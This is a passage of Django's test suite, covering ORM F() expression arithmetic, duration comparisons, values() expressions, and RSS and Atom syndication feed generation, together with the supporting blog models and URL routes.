            ["<Employee: %Joh\\nny %joh\\n>", "<Employee: Johnny john>"],
            ordered=False)

        self.assertQuerysetEqual(
            Employee.objects.filter(firstname__iendswith=F('lastname')),
            ["<Employee: Jean-Claude claude>"],
            ordered=False)


class ExpressionsNumericTests(TestCase):

    def setUp(self):
        Number(integer=-1).save()
        Number(integer=42).save()
        Number(integer=1337).save()
        self.assertEqual(Number.objects.update(float=F('integer')), 3)

    def test_fill_with_value_from_same_object(self):
        """
        We can fill a value in all objects with an other value of the
        same object.
        """
        self.assertQuerysetEqual(
            Number.objects.all(),
            [
                '<Number: -1, -1.000>',
                '<Number: 42, 42.000>',
                '<Number: 1337, 1337.000>'
            ],
            ordered=False
        )

    def test_increment_value(self):
        """
        We can increment a value of all objects in a query set.
        """
        self.assertEqual(
            Number.objects.filter(integer__gt=0)
                  .update(integer=F('integer') + 1),
            2)

        self.assertQuerysetEqual(
            Number.objects.all(),
            [
                '<Number: -1, -1.000>',
                '<Number: 43, 42.000>',
                '<Number: 1338, 1337.000>'
            ],
            ordered=False
        )

    def test_filter_not_equals_other_field(self):
        """
        We can filter for objects, where a value is not equals the value
        of an other field.
        """
        self.assertEqual(
            Number.objects.filter(integer__gt=0)
                  .update(integer=F('integer') + 1),
            2)
        self.assertQuerysetEqual(
            Number.objects.exclude(float=F('integer')),
            [
                '<Number: 43, 42.000>',
                '<Number: 1338, 1337.000>'
            ],
            ordered=False
        )

    def test_complex_expressions(self):
        """
        Complex expressions of different connection types are possible.
        """
        n = Number.objects.create(integer=10, float=123.45)
        self.assertEqual(Number.objects.filter(pk=n.pk).update(
            float=F('integer') + F('float') * 2), 1)

        self.assertEqual(Number.objects.get(pk=n.pk).integer, 10)
        self.assertEqual(Number.objects.get(pk=n.pk).float, Approximate(256.900, places=3))

    def test_incorrect_field_expression(self):
        with six.assertRaisesRegex(self, FieldError, "Cannot resolve keyword u?'nope' into field.*"):
            list(Employee.objects.filter(firstname=F('nope')))


class ExpressionOperatorTests(TestCase):
    def setUp(self):
        self.n = Number.objects.create(integer=42, float=15.5)

    def test_lefthand_addition(self):
        # LH Addition of floats and integers
        Number.objects.filter(pk=self.n.pk).update(
            integer=F('integer') + 15,
            float=F('float') + 42.7
        )

        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 57)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(58.200, places=3))

    def test_lefthand_subtraction(self):
        # LH Subtraction of floats and integers
        Number.objects.filter(pk=self.n.pk).update(integer=F('integer') - 15, float=F('float') - 42.7)

        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 27)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(-27.200, places=3))

    def test_lefthand_multiplication(self):
        # Multiplication of floats and integers
        Number.objects.filter(pk=self.n.pk).update(integer=F('integer') * 15, float=F('float') * 42.7)

        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 630)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(661.850, places=3))

    def test_lefthand_division(self):
        # LH Division of floats and integers
        Number.objects.filter(pk=self.n.pk).update(integer=F('integer') / 2, float=F('float') / 42.7)

        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 21)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(0.363, places=3))

    def test_lefthand_modulo(self):
        # LH Modulo arithmetic on integers
        Number.objects.filter(pk=self.n.pk).update(integer=F('integer') % 20)

        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 2)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(15.500, places=3))

    def test_lefthand_bitwise_and(self):
        # LH Bitwise ands on integers
        Number.objects.filter(pk=self.n.pk).update(integer=F('integer').bitand(56))

        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 40)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(15.500, places=3))

    @skipUnlessDBFeature('supports_bitwise_or')
    def test_lefthand_bitwise_or(self):
        # LH Bitwise or on integers
        Number.objects.filter(pk=self.n.pk).update(integer=F('integer').bitor(48))

        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 58)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(15.500, places=3))

    def test_lefthand_power(self):
        # LH Powert arithmetic operation on floats and integers
        Number.objects.filter(pk=self.n.pk).update(integer=F('integer') ** 2, float=F('float') ** 1.5)
        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 1764)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(61.02, places=2))

    def test_right_hand_addition(self):
        # Right hand operators
        Number.objects.filter(pk=self.n.pk).update(integer=15 + F('integer'), float=42.7 + F('float'))

        # RH Addition of floats and integers
        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 57)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(58.200, places=3))

    def test_right_hand_subtraction(self):
        Number.objects.filter(pk=self.n.pk).update(integer=15 - F('integer'), float=42.7 - F('float'))

        # RH Subtraction of floats and integers
        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, -27)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(27.200, places=3))

    def test_right_hand_multiplication(self):
        # RH Multiplication of floats and integers
        Number.objects.filter(pk=self.n.pk).update(integer=15 * F('integer'), float=42.7 * F('float'))

        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 630)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(661.850, places=3))

    def test_right_hand_division(self):
        # RH Division of floats and integers
        Number.objects.filter(pk=self.n.pk).update(integer=640 / F('integer'), float=42.7 / F('float'))

        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 15)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(2.755, places=3))

    def test_right_hand_modulo(self):
        # RH Modulo arithmetic on integers
        Number.objects.filter(pk=self.n.pk).update(integer=69 % F('integer'))

        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 27)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(15.500, places=3))

    def test_righthand_power(self):
        # RH Powert arithmetic operation on floats and integers
        Number.objects.filter(pk=self.n.pk).update(integer=2 ** F('integer'), float=1.5 ** F('float'))
        self.assertEqual(Number.objects.get(pk=self.n.pk).integer, 4398046511104)
        self.assertEqual(Number.objects.get(pk=self.n.pk).float, Approximate(536.308, places=3))


class FTimeDeltaTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.sday = sday = datetime.date(2010, 6, 25)
        cls.stime = stime = datetime.datetime(2010, 6, 25, 12, 15, 30, 747000)
        midnight = datetime.time(0)

        delta0 = datetime.timedelta(0)
        delta1 = datetime.timedelta(microseconds=253000)
        delta2 = datetime.timedelta(seconds=44)
        delta3 = datetime.timedelta(hours=21, minutes=8)
        delta4 = datetime.timedelta(days=10)

        # Test data is set so that deltas and delays will be
        # strictly increasing.
        cls.deltas = []
        cls.delays = []
        cls.days_long = []

        # e0: started same day as assigned, zero duration
        end = stime + delta0
        e0 = Experiment.objects.create(
            name='e0', assigned=sday, start=stime, end=end,
            completed=end.date(), estimated_time=delta0,
        )
        cls.deltas.append(delta0)
        cls.delays.append(e0.start - datetime.datetime.combine(e0.assigned, midnight))
        cls.days_long.append(e0.completed - e0.assigned)

        # e1: started one day after assigned, tiny duration, data
        # set so that end time has no fractional seconds, which
        # tests an edge case on sqlite. This Experiment is only
        # included in the test data when the DB supports microsecond
        # precision.
        if connection.features.supports_microsecond_precision:
            delay = datetime.timedelta(1)
            end = stime + delay + delta1
            e1 = Experiment.objects.create(
                name='e1', assigned=sday, start=stime + delay, end=end,
                completed=end.date(), estimated_time=delta1,
            )
            cls.deltas.append(delta1)
            cls.delays.append(e1.start - datetime.datetime.combine(e1.assigned, midnight))
            cls.days_long.append(e1.completed - e1.assigned)

        # e2: started three days after assigned, small duration
        end = stime + delta2
        e2 = Experiment.objects.create(
            name='e2', assigned=sday - datetime.timedelta(3), start=stime,
            end=end, completed=end.date(), estimated_time=datetime.timedelta(hours=1),
        )
        cls.deltas.append(delta2)
        cls.delays.append(e2.start - datetime.datetime.combine(e2.assigned, midnight))
        cls.days_long.append(e2.completed - e2.assigned)

        # e3: started four days after assigned, medium duration
        delay = datetime.timedelta(4)
        end = stime + delay + delta3
        e3 = Experiment.objects.create(
            name='e3', assigned=sday, start=stime + delay, end=end,
            completed=end.date(), estimated_time=delta3,
        )
        cls.deltas.append(delta3)
        cls.delays.append(e3.start - datetime.datetime.combine(e3.assigned, midnight))
        cls.days_long.append(e3.completed - e3.assigned)

        # e4: started 10 days after assignment, long duration
        end = stime + delta4
        e4 = Experiment.objects.create(
            name='e4', assigned=sday - datetime.timedelta(10), start=stime,
            end=end, completed=end.date(), estimated_time=delta4 - datetime.timedelta(1),
        )
        cls.deltas.append(delta4)
        cls.delays.append(e4.start - datetime.datetime.combine(e4.assigned, midnight))
        cls.days_long.append(e4.completed - e4.assigned)
        cls.expnames = [e.name for e in Experiment.objects.all()]

    def test_multiple_query_compilation(self):
        # Ticket #21643
        queryset = Experiment.objects.filter(end__lt=F('start') + datetime.timedelta(hours=1))
        q1 = str(queryset.query)
        q2 = str(queryset.query)
        self.assertEqual(q1, q2)

    def test_query_clone(self):
        # Ticket #21643 - Crash when compiling query more than once
        qs = Experiment.objects.filter(end__lt=F('start') + datetime.timedelta(hours=1))
        qs2 = qs.all()
        list(qs)
        list(qs2)
        # Intentionally no assert

    def test_delta_add(self):
        for i in range(len(self.deltas)):
            delta = self.deltas[i]
            test_set = [e.name for e in Experiment.objects.filter(end__lt=F('start') + delta)]
            self.assertEqual(test_set, self.expnames[:i])

            test_set = [e.name for e in Experiment.objects.filter(end__lt=delta + F('start'))]
            self.assertEqual(test_set, self.expnames[:i])

            test_set = [e.name for e in Experiment.objects.filter(end__lte=F('start') + delta)]
            self.assertEqual(test_set, self.expnames[:i + 1])

    def test_delta_subtract(self):
        for i in range(len(self.deltas)):
            delta = self.deltas[i]
            test_set = [e.name for e in Experiment.objects.filter(start__gt=F('end') - delta)]
            self.assertEqual(test_set, self.expnames[:i])

            test_set = [e.name for e in Experiment.objects.filter(start__gte=F('end') - delta)]
            self.assertEqual(test_set, self.expnames[:i + 1])

    def test_exclude(self):
        for i in range(len(self.deltas)):
            delta = self.deltas[i]
            test_set = [e.name for e in Experiment.objects.exclude(end__lt=F('start') + delta)]
            self.assertEqual(test_set, self.expnames[i:])

            test_set = [e.name for e in Experiment.objects.exclude(end__lte=F('start') + delta)]
            self.assertEqual(test_set, self.expnames[i + 1:])

    def test_date_comparison(self):
        for i in range(len(self.days_long)):
            days = self.days_long[i]
            test_set = [e.name for e in Experiment.objects.filter(completed__lt=F('assigned') + days)]
            self.assertEqual(test_set, self.expnames[:i])

            test_set = [e.name for e in Experiment.objects.filter(completed__lte=F('assigned') + days)]
            self.assertEqual(test_set, self.expnames[:i + 1])

    @skipUnlessDBFeature("supports_mixed_date_datetime_comparisons")
    def test_mixed_comparisons1(self):
        for i in range(len(self.delays)):
            delay = self.delays[i]
            if not connection.features.supports_microsecond_precision:
                delay = datetime.timedelta(delay.days, delay.seconds)
            test_set = [e.name for e in Experiment.objects.filter(assigned__gt=F('start') - delay)]
            self.assertEqual(test_set, self.expnames[:i])

            test_set = [e.name for e in Experiment.objects.filter(assigned__gte=F('start') - delay)]
            self.assertEqual(test_set, self.expnames[:i + 1])

    def test_mixed_comparisons2(self):
        delays = [datetime.timedelta(delay.days) for delay in self.delays]
        for i in range(len(delays)):
            delay = delays[i]
            test_set = [e.name for e in Experiment.objects.filter(start__lt=F('assigned') + delay)]
            self.assertEqual(test_set, self.expnames[:i])

            test_set = [
                e.name for e in Experiment.objects.filter(start__lte=F('assigned') + delay + datetime.timedelta(1))
            ]
            self.assertEqual(test_set, self.expnames[:i + 1])

    def test_delta_update(self):
        for i in range(len(self.deltas)):
            delta = self.deltas[i]
            exps = Experiment.objects.all()
            expected_durations = [e.duration() for e in exps]
            expected_starts = [e.start + delta for e in exps]
            expected_ends = [e.end + delta for e in exps]

            Experiment.objects.update(start=F('start') + delta, end=F('end') + delta)
            exps = Experiment.objects.all()
            new_starts = [e.start for e in exps]
            new_ends = [e.end for e in exps]
            new_durations = [e.duration() for e in exps]
            self.assertEqual(expected_starts, new_starts)
            self.assertEqual(expected_ends, new_ends)
            self.assertEqual(expected_durations, new_durations)

    def test_invalid_operator(self):
        with self.assertRaises(DatabaseError):
            list(Experiment.objects.filter(start=F('start') * datetime.timedelta(0)))

    def test_durationfield_add(self):
        zeros = [e.name for e in Experiment.objects.filter(start=F('start') + F('estimated_time'))]
        self.assertEqual(zeros, ['e0'])

        end_less = [e.name for e in Experiment.objects.filter(end__lt=F('start') + F('estimated_time'))]
        self.assertEqual(end_less, ['e2'])

        delta_math = [
            e.name for e in
            Experiment.objects.filter(end__gte=F('start') + F('estimated_time') + datetime.timedelta(hours=1))
        ]
        self.assertEqual(delta_math, ['e4'])

    @skipUnlessDBFeature('supports_temporal_subtraction')
    def test_date_subtraction(self):
        queryset = Experiment.objects.annotate(
            completion_duration=ExpressionWrapper(
                F('completed') - F('assigned'), output_field=models.DurationField()
            )
        )

        at_least_5_days = {e.name for e in queryset.filter(completion_duration__gte=datetime.timedelta(days=5))}
        self.assertEqual(at_least_5_days, {'e3', 'e4'})

        less_than_5_days = {e.name for e in queryset.filter(completion_duration__lt=datetime.timedelta(days=5))}
        expected = {'e0', 'e2'}
        if connection.features.supports_microsecond_precision:
            expected.add('e1')
        self.assertEqual(less_than_5_days, expected)

    @skipUnlessDBFeature('supports_temporal_subtraction')
    def test_time_subtraction(self):
        if connection.features.supports_microsecond_precision:
            time = datetime.time(12, 30, 15, 2345)
            timedelta = datetime.timedelta(hours=1, minutes=15, seconds=15, microseconds=2345)
        else:
            time = datetime.time(12, 30, 15)
            timedelta = datetime.timedelta(hours=1, minutes=15, seconds=15)
        Time.objects.create(time=time)
        queryset = Time.objects.annotate(
            difference=ExpressionWrapper(
                F('time') - Value(datetime.time(11, 15, 0), output_field=models.TimeField()),
                output_field=models.DurationField(),
            )
        )
        self.assertEqual(queryset.get().difference, timedelta)

    @skipUnlessDBFeature('supports_temporal_subtraction')
    def test_datetime_subtraction(self):
        under_estimate = [
            e.name for e in Experiment.objects.filter(estimated_time__gt=F('end') - F('start'))
        ]
        self.assertEqual(under_estimate, ['e2'])

        over_estimate = [
            e.name for e in Experiment.objects.filter(estimated_time__lt=F('end') - F('start'))
        ]
        self.assertEqual(over_estimate, ['e4'])

    def test_duration_with_datetime(self):
        # Exclude e1 which has very high precision so we can test this on all
        # backends regardless of whether or not it supports
        # microsecond_precision.
        over_estimate = Experiment.objects.exclude(name='e1').filter(
            completed__gt=self.stime + F('estimated_time'),
        ).order_by('name')
        self.assertQuerysetEqual(over_estimate, ['e3', 'e4'], lambda e: e.name)


class ValueTests(TestCase):
    def test_update_TimeField_using_Value(self):
        Time.objects.create()
        Time.objects.update(time=Value(datetime.time(1), output_field=TimeField()))
        self.assertEqual(Time.objects.get().time, datetime.time(1))

    def test_update_UUIDField_using_Value(self):
        UUID.objects.create()
        UUID.objects.update(uuid=Value(uuid.UUID('12345678901234567890123456789012'), output_field=UUIDField()))
        self.assertEqual(UUID.objects.get().uuid, uuid.UUID('12345678901234567890123456789012'))


class ReprTests(TestCase):

    def test_expressions(self):
        self.assertEqual(
            repr(Case(When(a=1))),
            "<Case: CASE WHEN <Q: (AND: ('a', 1))> THEN Value(None), ELSE Value(None)>"
        )
        self.assertEqual(repr(Col('alias', 'field')), "Col(alias, field)")
        self.assertEqual(repr(F('published')), "F(published)")
        self.assertEqual(repr(F('cost') + F('tax')), "<CombinedExpression: F(cost) + F(tax)>")
        self.assertEqual(
            repr(ExpressionWrapper(F('cost') + F('tax'), models.IntegerField())),
            "ExpressionWrapper(F(cost) + F(tax))"
        )
        self.assertEqual(repr(Func('published', function='TO_CHAR')), "Func(F(published), function=TO_CHAR)")
        self.assertEqual(repr(OrderBy(Value(1))), 'OrderBy(Value(1), descending=False)')
        self.assertEqual(repr(Random()), "Random()")
        self.assertEqual(repr(RawSQL('table.col', [])), "RawSQL(table.col, [])")
        self.assertEqual(repr(Ref('sum_cost', Sum('cost'))), "Ref(sum_cost, Sum(F(cost)))")
        self.assertEqual(repr(Value(1)), "Value(1)")

    def test_functions(self):
        self.assertEqual(repr(Coalesce('a', 'b')), "Coalesce(F(a), F(b))")
        self.assertEqual(repr(Concat('a', 'b')), "Concat(ConcatPair(F(a), F(b)))")
        self.assertEqual(repr(Length('a')), "Length(F(a))")
        self.assertEqual(repr(Lower('a')), "Lower(F(a))")
        self.assertEqual(repr(Substr('a', 1, 3)), "Substr(F(a), Value(1), Value(3))")
        self.assertEqual(repr(Upper('a')), "Upper(F(a))")

    def test_aggregates(self):
        self.assertEqual(repr(Avg('a')), "Avg(F(a))")
        self.assertEqual(repr(Count('a')), "Count(F(a), distinct=False)")
        self.assertEqual(repr(Count('*')), "Count('*', distinct=False)")
        self.assertEqual(repr(Max('a')), "Max(F(a))")
        self.assertEqual(repr(Min('a')), "Min(F(a))")
        self.assertEqual(repr(StdDev('a')), "StdDev(F(a), sample=False)")
        self.assertEqual(repr(Sum('a')), "Sum(F(a))")
        self.assertEqual(repr(Variance('a', sample=True)), "Variance(F(a), sample=True)")






from __future__ import unicode_literals

from django.db.models.aggregates import Sum
from django.db.models.expressions import F
from django.test import TestCase

from .models import Company, Employee


class ValuesExpressionsTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        Company.objects.create(
            name='Example Inc.', num_employees=2300, num_chairs=5,
            ceo=Employee.objects.create(firstname='Joe', lastname='Smith', salary=10)
        )
        Company.objects.create(
            name='Foobar Ltd.', num_employees=3, num_chairs=4,
            ceo=Employee.objects.create(firstname='Frank', lastname='Meyer', salary=20)
        )
        Company.objects.create(
            name='Test GmbH', num_employees=32, num_chairs=1,
            ceo=Employee.objects.create(firstname='Max', lastname='Mustermann', salary=30)
        )

    def test_values_expression(self):
        self.assertSequenceEqual(
            Company.objects.values(salary=F('ceo__salary')),
            [{'salary': 10}, {'salary': 20}, {'salary': 30}],
        )

    def test_values_expression_group_by(self):
        # values() applies annotate() first, so values selected are grouped by
        # id, not firstname.
        Employee.objects.create(firstname='Joe', lastname='Jones', salary=2)
        joes = Employee.objects.filter(firstname='Joe')
        self.assertSequenceEqual(
            joes.values('firstname', sum_salary=Sum('salary')).order_by('sum_salary'),
            [{'firstname': 'Joe', 'sum_salary': 2}, {'firstname': 'Joe', 'sum_salary': 10}],
        )
        self.assertSequenceEqual(
            joes.values('firstname').annotate(sum_salary=Sum('salary')),
            [{'firstname': 'Joe', 'sum_salary': 12}]
        )

    def test_chained_values_with_expression(self):
        Employee.objects.create(firstname='Joe', lastname='Jones', salary=2)
        joes = Employee.objects.filter(firstname='Joe').values('firstname')
        self.assertSequenceEqual(
            joes.values('firstname', sum_salary=Sum('salary')),
            [{'firstname': 'Joe', 'sum_salary': 12}]
        )
        self.assertSequenceEqual(
            joes.values(sum_salary=Sum('salary')),
            [{'sum_salary': 12}]
        )

    def test_values_list_expression(self):
        companies = Company.objects.values_list('name', F('ceo__salary'))
        self.assertSequenceEqual(companies, [('Example Inc.', 10), ('Foobar Ltd.', 20), ('Test GmbH', 30)])

    def test_values_list_expression_flat(self):
        companies = Company.objects.values_list(F('ceo__salary'), flat=True)
        self.assertSequenceEqual(companies, (10, 20, 30))






from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Entry(models.Model):
    title = models.CharField(max_length=200)
    updated = models.DateTimeField()
    published = models.DateTimeField()

    class Meta:
        ordering = ('updated',)

    def __str__(self):
        return self.title

    def get_absolute_url(self):
        return "/blog/%s/" % self.pk


@python_2_unicode_compatible
class Article(models.Model):
    title = models.CharField(max_length=200)
    entry = models.ForeignKey(Entry, models.CASCADE)

    def __str__(self):
        return self.title






from django.conf.urls import url

from . import feeds

urlpatterns = [
    url(r'^syndication/rss2/$', feeds.TestRss2Feed()),
    url(r'^syndication/rss2/guid_ispermalink_true/$',
        feeds.TestRss2FeedWithGuidIsPermaLinkTrue()),
    url(r'^syndication/rss2/guid_ispermalink_false/$',
        feeds.TestRss2FeedWithGuidIsPermaLinkFalse()),
    url(r'^syndication/rss091/$', feeds.TestRss091Feed()),
    url(r'^syndication/no_pubdate/$', feeds.TestNoPubdateFeed()),
    url(r'^syndication/atom/$', feeds.TestAtomFeed()),
    url(r'^syndication/latest/$', feeds.TestLatestFeed()),
    url(r'^syndication/custom/$', feeds.TestCustomFeed()),
    url(r'^syndication/naive-dates/$', feeds.NaiveDatesFeed()),
    url(r'^syndication/aware-dates/$', feeds.TZAwareDatesFeed()),
    url(r'^syndication/feedurl/$', feeds.TestFeedUrlFeed()),
    url(r'^syndication/articles/$', feeds.ArticlesFeed()),
    url(r'^syndication/template/$', feeds.TemplateFeed()),
    url(r'^syndication/template_context/$', feeds.TemplateContextFeed()),
    url(r'^syndication/rss2/single-enclosure/$', feeds.TestSingleEnclosureRSSFeed()),
    url(r'^syndication/rss2/multiple-enclosure/$', feeds.TestMultipleEnclosureRSSFeed()),
    url(r'^syndication/atom/single-enclosure/$', feeds.TestSingleEnclosureAtomFeed()),
    url(r'^syndication/atom/multiple-enclosure/$', feeds.TestMultipleEnclosureAtomFeed()),
]












from __future__ import unicode_literals

import datetime
from xml.dom import minidom

from django.contrib.sites.models import Site
from django.contrib.syndication import views
from django.core.exceptions import ImproperlyConfigured
from django.test import TestCase, override_settings
from django.test.utils import requires_tz_support
from django.utils import timezone
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.feedgenerator import (
    Enclosure, SyndicationFeed, rfc2822_date, rfc3339_date,
)

from .models import Article, Entry

try:
    import pytz
except ImportError:
    pytz = None

TZ = timezone.get_default_timezone()


class FeedTestCase(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.e1 = Entry.objects.create(
            title='My first entry', updated=datetime.datetime(1980, 1, 1, 12, 30),
            published=datetime.datetime(1986, 9, 25, 20, 15, 00)
        )
        cls.e2 = Entry.objects.create(
            title='My second entry', updated=datetime.datetime(2008, 1, 2, 12, 30),
            published=datetime.datetime(2006, 3, 17, 18, 0)
        )
        cls.e3 = Entry.objects.create(
            title='My third entry', updated=datetime.datetime(2008, 1, 2, 13, 30),
            published=datetime.datetime(2005, 6, 14, 10, 45)
        )
        cls.e4 = Entry.objects.create(
            title='A & B < C > D', updated=datetime.datetime(2008, 1, 3, 13, 30),
            published=datetime.datetime(2005, 11, 25, 12, 11, 23)
        )
        cls.e5 = Entry.objects.create(
            title='My last entry', updated=datetime.datetime(2013, 1, 20, 0, 0),
            published=datetime.datetime(2013, 3, 25, 20, 0)
        )
        cls.a1 = Article.objects.create(title='My first article', entry=cls.e1)

    def assertChildNodes(self, elem, expected):
        actual = set(n.nodeName for n in elem.childNodes)
        expected = set(expected)
        self.assertEqual(actual, expected)

    def assertChildNodeContent(self, elem, expected):
        for k, v in expected.items():
            self.assertEqual(
                elem.getElementsByTagName(k)[0].firstChild.wholeText, v)

    def assertCategories(self, elem, expected):
        self.assertEqual(
            set(i.firstChild.wholeText for i in elem.childNodes if i.nodeName == 'category'),
            set(expected)
        )


@override_settings(ROOT_URLCONF='syndication_tests.urls')
class SyndicationFeedTest(FeedTestCase):
    """
    Tests for the high-level syndication feed framework.
    """
    @classmethod
    def setUpClass(cls):
        super(SyndicationFeedTest, cls).setUpClass()
        # This cleanup is necessary because contrib.sites cache
        # makes tests interfere with each other, see #11505
        Site.objects.clear_cache()

    def test_rss2_feed(self):
        """
        Test the structure and content of feeds generated by Rss201rev2Feed.
        """
        response = self.client.get('/syndication/rss2/')
        doc = minidom.parseString(response.content)

        # Making sure there's only 1 `rss` element and that the correct
        # RSS version was specified.
        feed_elem = doc.getElementsByTagName('rss')
        self.assertEqual(len(feed_elem), 1)
        feed = feed_elem[0]
        self.assertEqual(feed.getAttribute('version'), '2.0')

        # Making sure there's only one `channel` element w/in the
        # `rss` element.
        chan_elem = feed.getElementsByTagName('channel')
        self.assertEqual(len(chan_elem), 1)
        chan = chan_elem[0]

        # Find the last build date
        d = Entry.objects.latest('published').published
        last_build_date = rfc2822_date(timezone.make_aware(d, TZ))

        self.assertChildNodes(
            chan, [
                'title', 'link', 'description', 'language', 'lastBuildDate',
                'item', 'atom:link', 'ttl', 'copyright', 'category',
            ]
        )
        self.assertChildNodeContent(chan, {
            'title': 'My blog',
            'description': 'A more thorough description of my blog.',
            'link': 'http://example.com/blog/',
            'language': 'en',
            'lastBuildDate': last_build_date,
            'ttl': '600',
            'copyright': 'Copyright (c) 2007, Sally Smith',
        })
        self.assertCategories(chan, ['python', 'django'])

        # Ensure the content of the channel is correct
        self.assertChildNodeContent(chan, {
            'title': 'My blog',
            'link': 'http://example.com/blog/',
        })

        # Check feed_url is passed
        self.assertEqual(
            chan.getElementsByTagName('atom:link')[0].getAttribute('href'),
            'http://example.com/syndication/rss2/'
        )

        # Find the pubdate of the first feed item
        d = Entry.objects.get(pk=1).published
        pub_date = rfc2822_date(timezone.make_aware(d, TZ))

        items = chan.getElementsByTagName('item')
        self.assertEqual(len(items), Entry.objects.count())
        self.assertChildNodeContent(items[0], {
            'title': 'My first entry',
            'description': 'Overridden description: My first entry',
            'link': 'http://example.com/blog/1/',
            'guid': 'http://example.com/blog/1/',
            'pubDate': pub_date,
            'author': 'test@example.com (Sally Smith)',
        })
        self.assertCategories(items[0], ['python', 'testing'])
        for item in items:
            self.assertChildNodes(item, ['title', 'link', 'description', 'guid', 'category', 'pubDate', 'author'])
            # Assert that <guid> does not have any 'isPermaLink' attribute
            self.assertIsNone(item.getElementsByTagName(
                'guid')[0].attributes.get('isPermaLink'))

    def test_rss2_feed_guid_permalink_false(self):
        """
        Test if the 'isPermaLink' attribute of <guid> element of an item
        in the RSS feed is 'false'.
        """
        response = self.client.get(
            '/syndication/rss2/guid_ispermalink_false/')
        doc = minidom.parseString(response.content)
        chan = doc.getElementsByTagName(
            'rss')[0].getElementsByTagName('channel')[0]
        items = chan.getElementsByTagName('item')
        for item in items:
            self.assertEqual(
                item.getElementsByTagName('guid')[0].attributes.get(
                    'isPermaLink').value, "false")

    def test_rss2_feed_guid_permalink_true(self):
        """
        Test if the 'isPermaLink' attribute of <guid> element of an item
        in the RSS feed is 'true'.
        """
        response = self.client.get(
            '/syndication/rss2/guid_ispermalink_true/')
        doc = minidom.parseString(response.content)
        chan = doc.getElementsByTagName(
            'rss')[0].getElementsByTagName('channel')[0]
        items = chan.getElementsByTagName('item')
        for item in items:
            self.assertEqual(
                item.getElementsByTagName('guid')[0].attributes.get(
                    'isPermaLink').value, "true")

    def test_rss2_single_enclosure(self):
        response = self.client.get('/syndication/rss2/single-enclosure/')
        doc = minidom.parseString(response.content)
        chan = doc.getElementsByTagName('rss')[0].getElementsByTagName('channel')[0]
        items = chan.getElementsByTagName('item')
        for item in items:
            enclosures = item.getElementsByTagName('enclosure')
            self.assertEqual(len(enclosures), 1)

    def test_rss2_multiple_enclosures(self):
        with self.assertRaisesMessage(
            ValueError,
            "RSS feed items may only have one enclosure, see "
            "http://www.rssboard.org/rss-profile#element-channel-item-enclosure"
        ):
            self.client.get('/syndication/rss2/multiple-enclosure/')

    def test_rss091_feed(self):
        """
        Test the structure and content of feeds generated by RssUserland091Feed.
        """
        response = self.client.get('/syndication/rss091/')
        doc = minidom.parseString(response.content)

        # Making sure there's only 1 `rss` element and that the correct
        # RSS version was specified.
        feed_elem = doc.getElementsByTagName('rss')
        self.assertEqual(len(feed_elem), 1)
        feed = feed_elem[0]
        self.assertEqual(feed.getAttribute('version'), '0.91')

        # Making sure there's only one `channel` element w/in the
        # `rss` element.
        chan_elem = feed.getElementsByTagName('channel')
        self.assertEqual(len(chan_elem), 1)
        chan = chan_elem[0]
        self.assertChildNodes(
            chan, [
                'title', 'link', 'description', 'language', 'lastBuildDate',
                'item', 'atom:link', 'ttl', 'copyright', 'category',
            ]
        )

        # Ensure the content of the channel is correct
        self.assertChildNodeContent(chan, {
            'title': 'My blog',
            'link': 'http://example.com/blog/',
        })
        self.assertCategories(chan, ['python', 'django'])

        # Check feed_url is passed
        self.assertEqual(
            chan.getElementsByTagName('atom:link')[0].getAttribute('href'),
            'http://example.com/syndication/rss091/'
        )

        items = chan.getElementsByTagName('item')
        self.assertEqual(len(items), Entry.objects.count())
        self.assertChildNodeContent(items[0], {
            'title': 'My first entry',
            'description': 'Overridden description: My first entry',
            'link': 'http://example.com/blog/1/',
        })
        for item in items:
            self.assertChildNodes(item, ['title', 'link', 'description'])
            self.assertCategories(item, [])

    def test_atom_feed(self):
        """
        Test the structure and content of feeds generated by Atom1Feed.
        """
        response = self.client.get('/syndication/atom/')
        feed = minidom.parseString(response.content).firstChild

        self.assertEqual(feed.nodeName, 'feed')
        self.assertEqual(feed.getAttribute('xmlns'), 'http://www.w3.org/2005/Atom')
        self.assertChildNodes(
            feed,
            ['title', 'subtitle', 'link', 'id', 'updated', 'entry', 'rights', 'category', 'author']
        )
        for link in feed.getElementsByTagName('link'):
            if link.getAttribute('rel') == 'self':
                self.assertEqual(link.getAttribute('href'), 'http://example.com/syndication/atom/')

        entries = feed.getElementsByTagName('entry')
        self.assertEqual(len(entries), Entry.objects.count())
        for entry in entries:
            self.assertChildNodes(entry, [
                'title',
                'link',
                'id',
                'summary',
                'category',
                'updated',
                'published',
                'rights',
                'author',
            ])
            summary = entry.getElementsByTagName('summary')[0]
            self.assertEqual(summary.getAttribute('type'), 'html')

    def test_atom_feed_published_and_updated_elements(self):
        """
        Test that the published and updated elements are not
        the same and now adhere to RFC 4287.
        """
        response = self.client.get('/syndication/atom/')
